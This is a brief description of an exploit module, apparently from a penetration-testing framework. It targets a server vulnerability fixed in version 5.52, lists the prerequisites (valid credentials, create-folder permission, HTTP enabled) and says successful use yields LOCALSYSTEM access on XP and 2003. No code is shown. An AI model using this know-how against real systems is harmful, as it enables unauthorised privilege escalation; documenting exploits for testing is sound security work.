This issue was fixed in 5.52. You must have valid credentials to trigger the vulnerability. Your credentials must also have the create folder permission and the HTTP option has to be enabled. This module will log into the server, get your a SID token and then proceed to exploit the server. Successful exploits result in LOCALSYSTEM access. This exploit works on XP and 2003.
